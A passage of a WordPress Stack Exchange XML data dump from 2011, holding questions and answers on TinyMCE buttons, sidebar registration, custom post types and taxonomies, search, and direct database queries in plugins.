LastActivityDate="2011-04-03T01:35:27.423" Title="How to show the same content on multiple URLs?" Tags="&lt;3.0&gt;&lt;url-rewriting&gt;&lt;pages&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="13243" PostTypeId="2" ParentId="13241" CreationDate="2011-03-27T23:07:51.667" Score="1" ViewCount="" Body="&lt;p&gt;Your looking for custom meta fields, which you can style anyway you want using CSS.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Custom_Fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would either have to write your own functions to accomplish this or use one of the many custom fields plugins, I would recommend the WPAlchemy MetaBox.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-27T23:07:51.667" CommentCount="4" />
  <row Id="13244" PostTypeId="2" ParentId="13240" CreationDate="2011-03-27T23:15:32.457" Score="1" ViewCount="" Body="&lt;p&gt;You should use the  'orderby' =&gt; 'rand' parameter for the get_children attachments function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_children&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_children&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images = get_children( array(&#xA;              'orderby' =&amp;gt; 'rand',  &amp;lt;------this is random param for your array&#xA;              'post_type' =&amp;gt; 'attachment',&#xA;              'post_mime_type' =&amp;gt; 'image')&#xA;        );           &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-27T23:15:32.457" CommentCount="2" />
  <row Id="13245" PostTypeId="2" ParentId="10473" CreationDate="2011-03-27T23:17:00.800" Score="1" ViewCount="" Body="&lt;p&gt;Since you mentioned wordpress.com, I assume you're thinking of a blogging network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do that using WordPress Multisite. Here's how to enable it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Create_A_Network&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-27T23:17:00.800" CommentCount="6" />
  <row Id="13246" PostTypeId="1" AcceptedAnswerId="13268" CreationDate="2011-03-27T23:34:28.060" Score="2" ViewCount="326" Body="&lt;p&gt;I have added a custom button to the tinymce to insert my shortcodes, but I have so many and I want to make a splitbutton instead and I can't figure how. Anyone can help. Here's the code that I've used to create the normal button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in functions.php :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;Hook into WordPress&#xA;*/&#xA;&#xA;add_action('init', 'onehalf_button');  &#xA;/**&#xA;Create Our Initialization Function&#xA;*/&#xA;&#xA;function onehalf_button() {&#xA;&#xA;   if ( ! current_user_can('edit_posts') &amp;amp;&amp;amp; ! current_user_can('edit_pages') ) {&#xA;     return;&#xA;   }&#xA;&#xA;   if ( get_user_option('rich_editing') == 'true' ) {&#xA;     add_filter( 'mce_external_plugins', 'add_plugin' );&#xA;     add_filter( 'mce_buttons', 'register_button' );&#xA;   }&#xA;&#xA;}&#xA;/**&#xA;Register Button&#xA;*/&#xA;&#xA;function register_button( $buttons ) {&#xA; array_push( $buttons, &quot;|&quot;, &quot;onehalf&quot; );&#xA; return $buttons;&#xA;}&#xA;/**&#xA;Register TinyMCE Plugin&#xA;*/&#xA;&#xA;function add_plugin( $plugin_array ) {&#xA;   $plugin_array['onehalf'] = get_bloginfo( 'template_url' ) . '/js/tinymce_buttons.js';&#xA;   return $plugin_array;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the custom plugin .js&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// JavaScript Document&#xA;(function() {&#xA;    tinymce.create('tinymce.plugins.onehalf', {&#xA;        init : function(ed, url) {&#xA;            ed.addButton('onehalf', {&#xA;                title : 'One Half Column',&#xA;                image : url+'/mylink.png',&#xA;                onclick : function() {&#xA;                     ed.selection.setContent('[one_half]' + ed.selection.getContent() + '[/one_half]');&#xA;&#xA;                }&#xA;            });&#xA;        },&#xA;        createControl : function(n, cm) {&#xA;            return null;&#xA;        },&#xA;    });&#xA;    tinymce.PluginManager.add('onehalf', tinymce.plugins.onehalf);&#xA;})();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've found something here &lt;a href=&quot;http://tinymce.moxiecode.com/tryit/listbox_splitbutton.php&quot; rel=&quot;nofollow&quot;&gt;http://tinymce.moxiecode.com/tryit/listbox_splitbutton.php&lt;/a&gt; but can't figure out how to implement it into WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can help? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4257" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-18T13:07:59.580" LastActivityDate="2011-08-17T18:52:13.010" Title="How i can i add a split button or list box to the WordPress TinyMCE instance" Tags="&lt;tinymce&gt;&lt;buttons&gt;&lt;listbox&gt;&lt;split&gt;&lt;plugin-tinymce&gt;" AnswerCount="2" />
  <row Id="13247" PostTypeId="1" AcceptedAnswerId="13250" CreationDate="2011-03-28T01:14:30.747" Score="0" ViewCount="135" Body="&lt;p&gt;Here's how I have my code set up in the functions file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_sidebar(array(&#xA;    'name' =&amp;gt; 'Latest Updates',&#xA;    'before_widget' =&amp;gt; '&amp;lt;span&amp;gt;',&#xA;    'after_widget' =&amp;gt; '&amp;lt;/span&amp;gt;',&#xA;    'before_title' =&amp;gt; '',&#xA;    'after_title' =&amp;gt; ''&#xA;));&#xA;register_sidebar(array(&#xA;    'name' =&amp;gt; 'BBRB Loves (Video Width - 200px)',&#xA;    'before_widget' =&amp;gt; '',&#xA;    'after_widget' =&amp;gt; '',&#xA;    'before_title' =&amp;gt; '',&#xA;    'after_title' =&amp;gt; ''&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first &lt;code&gt;register_sidebar&lt;/code&gt; function gets called in header.php and the second function gets called in index.php. When I put in opening and closing &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; tags in the second function (i.e. &lt;code&gt;before_widget&lt;/code&gt; and &lt;code&gt;after_widget&lt;/code&gt;), the correct tags get outputted. But when I put in the same opening and closing &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; tags in the first function, nothing gets outputted but the default &lt;code&gt;&amp;lt;div class=&quot;textwidget&quot;&amp;gt;foobar&amp;lt;/div&amp;gt;&lt;/code&gt;. The only difference between the two is that one is called in the header and the other is called in the index. However, BOTH widgets show up in the dashboard and when I fill them with text, they both get outputted—just not the before/after tags. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastEditorUserId="3714" LastEditorDisplayName="" LastEditDate="2011-03-28T02:18:32.470" LastActivityDate="2011-03-28T04:11:22.310" Title="One register_sidebar function works, the other doesn't?" Tags="&lt;widgets&gt;" AnswerCount="2" />
  <row Id="13248" PostTypeId="2" ParentId="10473" CreationDate="2011-03-28T01:16:40.200" Score="0" ViewCount="" Body="&lt;p&gt;There are quite a few plugins that give you registration and login that are not the wp-admin route.  One is WP-Members.  A lot are described as members only section plugins but they give you the added benefit of using different registration and login forms than what is built into WP.  Still uses the users table though so it fits into the rest of WP user management and works with other user management plugins.&lt;/p&gt;&#xA;" OwnerUserId="4161" LastActivityDate="2011-03-28T01:16:40.200" />
  <row Id="13249" PostTypeId="2" ParentId="13226" CreationDate="2011-03-28T02:32:01.443" Score="2" ViewCount="" Body="&lt;p&gt;It seems to be caused by jQuery UI:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/16972&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/16972&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-28T02:32:01.443" CommentCount="2" />
  <row Id="13250" PostTypeId="2" ParentId="13247" CreationDate="2011-03-28T03:03:36.850" Score="2" ViewCount="" Body="&lt;p&gt;If I had to venture a guess, the problem is that your first register_sidebar() gets called in functions.php, and hooked into widgets_init, but the second one gets called in the head, and therefore NOT hooked into widgets_init. I don't know the impact of registering a sidebar other than at widgets_init.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any particular reason that both calls can't be called in functions.php and hooked into widgets_init?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-28T03:03:36.850" CommentCount="1" />
  <row Id="13251" PostTypeId="2" ParentId="13193" CreationDate="2011-03-28T03:08:38.313" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Anjum:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the function &lt;code&gt;get_nav_menu_id_by_page_template()&lt;/code&gt;is what you are looking for? You can place the code for this function in your theme's &lt;code&gt;functions.php&lt;/code&gt; file, or in a &lt;code&gt;.php&lt;/code&gt; for a plugin you are writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_nav_menu_id_by_page_template($template) {&#xA;  static $nav_menu_id;&#xA;  if (!isset($nav_menu_id)) {&#xA;    global $wpdb;&#xA;    $sql = &amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT &#xA;  menu.post_id AS menu_id&#xA;FROM &#xA;  {$wpdb-&amp;gt;postmeta} AS template &#xA;  INNER JOIN {$wpdb-&amp;gt;postmeta} AS menu_id ON menu_id.meta_key='_menu_item_object_id' &#xA;                                         AND menu_id.meta_value=template.post_id&#xA;  INNER JOIN {$wpdb-&amp;gt;postmeta} AS menu ON menu_id.post_id=menu.post_id&#xA;WHERE 1=1&#xA;  AND menu.meta_key='_menu_item_object' AND menu.meta_value='page'&#xA;  AND template.meta_key='_wp_page_template' AND template.meta_value='%s'&#xA;SQL;      &#xA;    $nav_menu_id = $wpdb-&amp;gt;get_var($wpdb-&amp;gt;prepare($sql,$template));&#xA;  }&#xA;  return $nav_menu_id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have the &lt;code&gt;get_nav_menu_id_by_page_template()&lt;/code&gt; function in your code you can call it in your theme template file like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $nav_menu_id = get_nav_menu_id_by_page_template('store.php'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-29T22:47:39.990" LastActivityDate="2011-03-29T22:47:39.990" CommentCount="12" />
  <row Id="13252" PostTypeId="2" ParentId="13247" CreationDate="2011-03-28T04:11:22.310" Score="2" ViewCount="" Body="&lt;p&gt;You should register all your sidebars as a function and hook them into widgets_init.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get rid of &lt;code&gt;&amp;lt;div class=&quot;text_widget&quot;&amp;gt; &amp;lt;/div&amp;gt;&lt;/code&gt; you will have to write your own text widget because there is not a filter for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in wp-includes/default-widgets.php here is how the text widget is built:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Text widget class&#xA; *&#xA; * @since 2.8.0&#xA; */&#xA;class WP_Widget_Text extends WP_Widget {&#xA;&#xA;    function WP_Widget_Text() {&#xA;        $widget_ops = array('classname' =&amp;gt; 'widget_text', 'description' =&amp;gt; __('Arbitrary text or HTML'));&#xA;        $control_ops = array('width' =&amp;gt; 400, 'height' =&amp;gt; 350);&#xA;        $this-&amp;gt;WP_Widget('text', __('Text'), $widget_ops, $control_ops);&#xA;    }&#xA;&#xA;    function widget( $args, $instance ) {&#xA;        extract($args);&#xA;        $title = apply_filters( 'widget_title', empty($instance['title']) ? '' : $instance['title'], $instance, $this-&amp;gt;id_base);&#xA;        $text = apply_filters( 'widget_text', $instance['text'], $instance );&#xA;        echo $before_widget;&#xA;        if ( !empty( $title ) ) { echo $before_title . $title . $after_title; } ?&amp;gt;&#xA;            &amp;lt;div class=&quot;textwidget&quot;&amp;gt;&amp;lt;?php echo $instance['filter'] ? wpautop($text) : $text; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;        echo $after_widget;&#xA;    }&#xA;&#xA;    function update( $new_instance, $old_instance ) {&#xA;        $instance = $old_instance;&#xA;        $instance['title'] = strip_tags($new_instance['title']);&#xA;        if ( current_user_can('unfiltered_html') )&#xA;            $instance['text'] =  $new_instance['text'];&#xA;        else&#xA;            $instance['text'] = stripslashes( wp_filter_post_kses( addslashes($new_instance['text']) ) ); // wp_filter_post_kses() expects slashed&#xA;        $instance['filter'] = isset($new_instance['filter']);&#xA;        return $instance;&#xA;    }&#xA;&#xA;    function form( $instance ) {&#xA;        $instance = wp_parse_args( (array) $instance, array( 'title' =&amp;gt; '', 'text' =&amp;gt; '' ) );&#xA;        $title = strip_tags($instance['title']);&#xA;        $text = esc_textarea($instance['text']);&#xA;?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Title:'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('title'); ?&amp;gt;&quot; type=&quot;text&quot; value=&quot;&amp;lt;?php echo esc_attr($title); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;textarea class=&quot;widefat&quot; rows=&quot;16&quot; cols=&quot;20&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('text'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('text'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $text; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('filter'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('filter'); ?&amp;gt;&quot; type=&quot;checkbox&quot; &amp;lt;?php checked(isset($instance['filter']) ? $instance['filter'] : 0); ?&amp;gt; /&amp;gt;&amp;amp;nbsp;&amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('filter'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Automatically add paragraphs'); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can reuse some of the code to create your own version of a text widget just make sure you don't use any of the same class or function names.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-03-28T04:11:22.310" />
  <row Id="13253" PostTypeId="2" ParentId="13209" CreationDate="2011-03-28T04:26:45.090" Score="0" ViewCount="" Body="&lt;p&gt;Without really looking at your code and just thinking off the top of my head you could set up a new WP-Query for each column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your args set 'posts_per_page' =&gt; 10, or however many post permalinks you want to show in each column.  Assign a  ul or div class to the columns and float them left in your css.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-03-28T04:26:45.090" />
  <row Id="13254" PostTypeId="2" ParentId="13237" CreationDate="2011-03-28T05:04:11.163" Score="0" ViewCount="" Body="&lt;p&gt;You need to run the loop before the conditional statement.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;&#xA;&amp;lt;?php if( is_tag() || is_category() || is_archive { ?&amp;gt;&#xA;&#xA;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt; &#xA;&#xA;&amp;lt;? } else { ?&amp;gt;&#xA;&#xA;//do something else&#xA;&#xA;} ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;    &#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;h2 class=&quot;center&quot;&amp;gt;Not Found&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-03-28T05:04:11.163" CommentCount="1" />
  <row Id="13255" PostTypeId="2" ParentId="13215" CreationDate="2011-03-28T05:55:21.353" Score="0" ViewCount="" Body="&lt;p&gt;I'm sure Thesis/DIY Themes offers tutorials for that. Have you bought or just downloaded the theme &quot;somewhere&quot;?&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-28T05:55:21.353" />
  <row Id="13256" PostTypeId="1" AcceptedAnswerId="13276" CreationDate="2011-03-28T06:03:21.130" Score="1" ViewCount="200" Body="&lt;p&gt;we have set up a custom post type under the heading of custom post type along w/two custom taxonomies. (the following code has been added to our functions.php page:)&#xA;    add_action('init', 'create_seminar_post_type');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function create_seminar_post_type(){&#xA;        register_post_type('seminars',&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        array(&#xA;                'labels'=&amp;gt; array(&#xA;                        'name' =&amp;gt; 'Seminars',&#xA;                        'singular_name' =&amp;gt; 'Seminar',&#xA;                        'add_new' =&amp;gt; 'Add New Seminar',&#xA;                        'add_new_item' =&amp;gt; 'Add New Seminar',&#xA;                        'edit' =&amp;gt; 'Edit Seminars',&#xA;                        'edit_item' =&amp;gt; 'Edit Seminar',&#xA;                        'new_item' =&amp;gt; 'New Seminar',&#xA;                        'view' =&amp;gt; 'View Seminar',&#xA;                        'view_item' =&amp;gt; 'View Seminar',&#xA;                        'search_items' =&amp;gt; 'Search Seminars',&#xA;                        'not_found' =&amp;gt; 'No Seminars found',&#xA;                        'not_found_in_trash' =&amp;gt; 'No Seminars found in Trash',&#xA;                        'parent' =&amp;gt; 'Parent Seminar',&#xA;                ),&#xA;                'supports' =&amp;gt; array('title', 'editor', 'excerpt', 'trackbacks', 'custom-fields', 'comments', 'revisions', 'thumbnail', 'author', 'page-attributes'),&#xA;                'public' =&amp;gt;true,&#xA;                'taxonomies' =&amp;gt; array('post_tag', 'category')&#xA;                )&#xA;    );&#xA;    register_taxonomy ('trt', 'seminars', array(&#xA;    'labels' =&amp;gt;array(&#xA;                'name' =&amp;gt;'Total Running Time',&#xA;                'singular_name' =&amp;gt; 'Total Running Time',&#xA;                'search_items' =&amp;gt; 'Search Total Running Time',&#xA;                'popular_items' =&amp;gt; 'Popular Total Running Times',&#xA;                'all_items' =&amp;gt; 'All Running Times',&#xA;                'parent_item' =&amp;gt; 'Parent Running Time',&#xA;                'edit_item' =&amp;gt; 'Edit Running Time',&#xA;                'update_item' =&amp;gt; 'Update Running Time',&#xA;                'add_new_item' =&amp;gt; 'Add New Running Time',&#xA;                'new_item_name' =&amp;gt; 'New Running Time Name'&#xA;    ),&#xA;                'hierarchical' =&amp;gt; true, 'label' =&amp;gt; 'Total Running Time'));&#xA;    register_taxonomy ('discs-in-set', 'seminars', array(&#xA;    'labels' =&amp;gt;array(&#xA;                'name' =&amp;gt;'# of Discs in Set',&#xA;                'singular_name' =&amp;gt; 'Total Discs in Set',&#xA;                'search_items' =&amp;gt; 'Search Discs in Set',&#xA;                'popular_items' =&amp;gt; 'Popular Discs in Set',&#xA;                'all_items' =&amp;gt; 'All Discs in Set',&#xA;                'parent_item' =&amp;gt; 'Parent Discs in Set',&#xA;                'edit_item' =&amp;gt; 'Edit Discs in Set',&#xA;                'update_item' =&amp;gt; 'Update Discs in Set',&#xA;                'add_new_item' =&amp;gt; 'Add New Discs in Set',&#xA;                'new_item_name' =&amp;gt; 'New Discs in Set'&#xA;    ),&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'public' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; 'discs-in-set',&#xA;    'show_tagcloud' =&amp;gt; true,&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here's the code added w/the loop in our single-seminar page (derived from the single.php page):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'seminars', 'posts_per_page' =&amp;gt; 10 ) ); ?&amp;gt;&#xA;        &amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;?php the_title( '&amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;' . get_permalink() . '&quot; title=&quot;' . the_title_attribute( 'echo=0' ) . '&quot; rel=&quot;bookmark&quot;&amp;gt;', '&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what we'd like to have shown for each individual seminar is the seminar info, along w/the custom taxonomy info of running time and discs in set. But all that shows is the seminar post and its accompanying categories &amp;amp; tags. what should I do to make this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on  a similar note, when viewing the seminars listing in the dashboard, it shows all the listings , with columns for title, author, categories, tags, comments and date. It would be nice to incorporate the custom taxonomies into this listing for the sake of simplicity. Can this be done w/custom taxonomies? Or is there a more direct mode in doing this? any help/insights are greatly appreciated..&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;don&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2815" LastActivityDate="2011-03-28T12:04:29.733" Title="showing custom taxonomies w/custom post type" Tags="&lt;custom-taxonomy&gt;&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="13257" PostTypeId="1" AcceptedAnswerId="13259" CreationDate="2011-03-28T06:24:57.033" Score="1" ViewCount="241" Body="&lt;p&gt;I've added tags and categories to a custom post, but the search bar doesn't find them when I use it. It does find the 'uncategorized' category (default category) that's inherent in wordpress though. The Categories I've entered show up in the sidebar, as well as w/the custom post type (as do the tags I've entered). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing? &lt;/p&gt;&#xA;" OwnerUserId="2815" LastActivityDate="2011-03-28T07:16:04.280" Title="Search doesn't find tags or categories in custom post types" Tags="&lt;custom-post-types&gt;&lt;tags&gt;&lt;categories&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13259" PostTypeId="2" ParentId="13257" CreationDate="2011-03-28T07:16:04.280" Score="1" ViewCount="" Body="&lt;p&gt;Perhaps this article will help you...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://new2wp.com/noob/wordpress-search-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;http://new2wp.com/noob/wordpress-search-custom-post-types/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-03-28T07:16:04.280" CommentCount="1" />
  <row Id="13260" PostTypeId="1" AcceptedAnswerId="13266" CreationDate="2011-03-28T07:25:08.197" Score="2" ViewCount="219" Body="&lt;p&gt;This is a sample of the &lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/&quot; rel=&quot;nofollow&quot;&gt;Vote it Up&lt;/a&gt; plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Run this to create an entry for a post in the voting system. Will check if the post exists. If it doesn't, it will create an entry.&#xA;function SetPost($post_ID) {&#xA;    global $wpdb;&#xA;&#xA;    //prevents SQL injection&#xA;    $p_ID = $wpdb-&amp;gt;escape($post_ID);&#xA;&#xA;    //Check if entry exists&#xA;    $id_raw = $wpdb-&amp;gt;get_var(&quot;SELECT ID FROM &quot;.$wpdb-&amp;gt;prefix.&quot;votes WHERE post='&quot;.$p_ID.&quot;'&quot;);&#xA;    if ($id_raw != '') {&#xA;        //entry exists, do nothing&#xA;    } else {&#xA;        //entry does not exist&#xA;        $wpdb-&amp;gt;query(&quot;INSERT INTO &quot;.$wpdb-&amp;gt;prefix.&quot;votes (post, votes, guests, usersinks, guestsinks) VALUES(&quot;.$p_ID.&quot;, '', '', '', '') &quot;) or die(mysql_error());&#xA;    }&#xA;}&#xA;&#xA;//Run this to create an entry for a user in the voting system. Will check if the user exists. If it doesn't, it will create an entry.&#xA;function SetUser($user_ID) {&#xA;    global $wpdb;&#xA;&#xA;    //prevents SQL injection&#xA;    $u_ID = $wpdb-&amp;gt;escape($user_ID);&#xA;&#xA;    //Check if entry exists&#xA;    $id_raw = $wpdb-&amp;gt;get_var(&quot;SELECT ID FROM &quot;.$wpdb-&amp;gt;prefix.&quot;votes_users WHERE user='&quot;.$u_ID.&quot;'&quot;);&#xA;    if ($id_raw != '') {&#xA;        //entry exists, do nothing&#xA;    } else {&#xA;        //entry does not exist&#xA;        $wpdb-&amp;gt;query(&quot;INSERT INTO &quot;.$wpdb-&amp;gt;prefix.&quot;votes_users (user, votes, sinks) VALUES(&quot;.$u_ID.&quot;, '', '') &quot;) or die(mysql_error());&#xA;    }&#xA;}&#xA;&#xA;//Returns the vote count&#xA;function GetVotes($post_ID, $percent = false) {&#xA;    global $wpdb;&#xA;&#xA;    //prevents SQL injection&#xA;    $p_ID = $wpdb-&amp;gt;escape($post_ID);&#xA;&#xA;    //Create entries if not existant&#xA;    SetPost($p_ID);&#xA;&#xA;    //Gets the votes&#xA;    $votes_raw = $wpdb-&amp;gt;get_var(&quot;SELECT votes FROM  &quot;.$wpdb-&amp;gt;prefix.&quot;votes WHERE post='&quot;.$p_ID.&quot;'&quot;);&#xA;    $sinks_raw = $wpdb-&amp;gt;get_var(&quot;SELECT usersinks FROM  &quot;.$wpdb-&amp;gt;prefix.&quot;votes WHERE post='&quot;.$p_ID.&quot;'&quot;);&#xA;    $guestvotes_raw = $wpdb-&amp;gt;get_var(&quot;SELECT guests FROM  &quot;.$wpdb-&amp;gt;prefix.&quot;votes WHERE post='&quot;.$p_ID.&quot;'&quot;);&#xA;    $guestsinks_raw = $wpdb-&amp;gt;get_var(&quot;SELECT guestsinks FROM  &quot;.$wpdb-&amp;gt;prefix.&quot;votes WHERE post='&quot;.$p_ID.&quot;'&quot;);&#xA;/* Deprecated&#xA;    $uservotes_raw = $wpdb-&amp;gt;get_var(&quot;SELECT votes FROM &quot;.$wpdb-&amp;gt;prefix.&quot;votes_users WHERE user='&quot;.$u_ID.&quot;'&quot;);&#xA;    $usersinks_raw = $wpdb-&amp;gt;get_var(&quot;SELECT sinks FROM &quot;.$wpdb-&amp;gt;prefix.&quot;votes_users WHERE user='&quot;.$u_ID.&quot;'&quot;);&#xA;*/&#xA;&#xA;    //Put it in array form&#xA;    $votes = explode(&quot;,&quot;, $votes_raw);&#xA;    $sinks = explode(&quot;,&quot;, $sinks_raw);&#xA;    $guestvotes = explode(&quot;,&quot;, $guestvotes_raw);&#xA;    $guestsinks = explode(&quot;,&quot;, $guestsinks_raw);&#xA;/* Deprecated&#xA;    $uservotes = explode(&quot;,&quot;, $uservotes_raw);&#xA;    $usersinks = explode(&quot;,&quot;, $usersinks_raw);&#xA;*/&#xA;    $uservotes = 0;&#xA;    $usersinks = 0;&#xA;&#xA;    $initial = 0; //Initial no. of votes [will be placed at -1 when all posts receive votes]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(and so on...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard from many people that it is a bad practice to go directly to the mysql database.&#xA;That the code can break up in future versions of Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or it is necessary in some plugins like Vote it Up?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-29T07:08:16.850" Title="Is it a bad practice to go directly to the mysql database while developing a plugin?" Tags="&lt;plugins&gt;&lt;database&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="13261" PostTypeId="2" ParentId="13260" CreationDate="2011-03-28T07:58:19.353" Score="1" ViewCount="" Body="&lt;p&gt;For most plugins it is sufficient to use the WordPress &lt;a href=&quot;http://codex.wordpress.org/Options_API&quot; rel=&quot;nofollow&quot;&gt;Options-API&lt;/a&gt;. While this works fine for buttons, strings and other simple things, more complex plugins sometimes need their own database table. If you are in such a situation you should follow the official guidelines at the page &lt;a href=&quot;http://codex.wordpress.org/Creating_Tables_with_Plugins&quot; rel=&quot;nofollow&quot;&gt;Creating Tables with Plugins&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing wrong with going directly into the database as long as you verify the input properly and make sure that your code is absolutely secure. WordPress has a lot of functions that make this a lot easier (again, see: &lt;a 